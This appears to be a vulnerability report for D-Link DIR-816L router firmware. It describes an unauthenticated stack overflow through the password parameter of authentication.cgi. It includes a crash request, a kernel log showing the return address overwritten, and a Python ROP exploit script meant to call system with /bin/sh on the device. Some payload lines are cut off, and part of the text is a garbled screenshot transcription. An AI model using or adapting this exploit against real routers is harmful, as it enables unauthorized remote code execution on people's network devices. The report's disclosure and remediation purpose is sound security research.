

# D-Link DIR-816L Unauthorized Stack Overflow

**Firmware version:** DIR816L\_REVB\_FW\_2\_06\_b09\_beta

**Vendor Homepage:** <https://www.dlinktw.com.tw/techsupport/ProductInfo.aspx?m=DIR-816L>

Inside the `authenticationcgi_main` function, `password` is an externally controllable input. Using `strcpy` to copy `password` on line 86 poses a risk of stack overflow.

# POC

[illegible]

Version:

DEVICE INFORMATION

All of your Internet and network connection details are displayed on this page. The firmware version is also displayed here.

GENERAL

Time : 01/01/2000 09:41:07

Firmware Version : 2.06beta Mon 12 Oct 2015

mydlink Service : Non-Registered

D D-LINK SYSTEMS, INC. | V x

D 500 Internal Server Error x

+

← → ↻

🔒 192.168.0.1/authentication.cgi?id=11111&password=xxxxxxxxxxxxxxxxxxxxxxxxxxxx

📘 Firefox automatically sends some data to Mozilla so that we can improve your experience.

Choose What I Share

## 500 Internal Server Error

500 Internal Server Error

```
[ 321.320468] firmadyne: sys_setsockopt[PID: 1708 (ip)]: fd:10, level:65535, optname:4098
[ 321.377614]
[ 321.377614] do_page_fault(): sending SIGSEGV to authentication. for invalid read access from 78787878
[ 321.378163] epc = 78787878 inra = 78787878 in
[ 321.378689]
[ 321.378977] potentially unexpected fatal signal 11.
[ 321.379172] CPU: 0 PID: 1707 Comm: authentication. Not tainted 4.1.17+ #17
[ 321.379430] task: 8f13d088 ti: 8fab4000 task.ti: 8fab4000
[ 321.379595] $ 0 : 00000000 004341ab 00000000 77214191
[ 321.379778] $ 4 : 77214192 772101a8 00000001 7ff24235
[ 321.380001] $ 8 : 0000007d 53554c54 223a2022 4641494c
[ 321.380165] $12 : 222c2022 52454153 4f4e223a 20224552
[ 321.380322] $16 : 78787878 78787878 78787878 78787878
[ 321.380672] $20 : 78787878 78787878 78787878 78787878
[ 321.380834] $24 : 000000e9 771d2fa0
[ 321.381022] $28 : 772184e0 7ff25740 78787878 78787878
[ 321.381183] Hi : 00000000
[ 321.381267] Lo : 00000035
[ 321.381359] epc : 78787878 0x78787878
[ 321.381472] ra : 78787878 0x78787878
[ 321.381580] Status: 0000a413 USER_EXL IE
[ 321.381711] Cause : 10800008
[ 321.381829] BadVA : 78787878
[ 321.381916] PrId : 00019300 (MIPS 24Kc)
```

## Statement

I confirm that the information in this report is true and accurate, and it is intended solely for security research and vulnerability remediation purposes, not for malicious use.

## POC that can execute arbitrary code

Python

```
1  import requests
2  from pwn import *
3  import subprocess
4  import os
5
6  first_scandir_add_stack = 0x00012984 #0x7f783984
7  binsh = 0x0005C018
8  system = 0x00052510
9  libc_base = 0x77f6c000
10 mov_s1_a0_move_s5_t9_jalr_t9 = 0x0001A6DC
11 s0 = libc_base + system
12 s1 = libc_base + binsh
13 s2 = 0x7fffffff
14 s3 = 0x7fffffff
15 s4 = 0x7fffffff
16 s5 = libc_base + system
17 s6 = 0x7fffffff
18 s7 = 0x7fffffff
19 ra = libc_base + mov_s1_a0_move_s5_t9_jalr_t9
20 jump_scandir = libc_base + first_scandir_add_stack
21 add_stack_run = libc_base + 0x00017D68
22
23
24 payload =
    b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaakaaalaaamaaanaaaooaaap
    p32(jump_scandir, endian='big') + b'aaaabaaacaaadaaaeaaafaaagaa
25 url = "http://192.168.0.1/authentication.cgi"
26 params = {
27     "id": "11111",
28     "password": payload
29 }
30
31
32 try:
33     response = requests.get(url, params=params)
34
35     if response.status_code == 200:
36         print("OK! ")
37         print("message:", response.text)
```

```
38     else:
39         print(f"Failed: {response.status_code}")
40         print("message:", response.text)
41
42 except requests.exceptions.RequestException as e:
43     print(f"error message: {e}")
44
```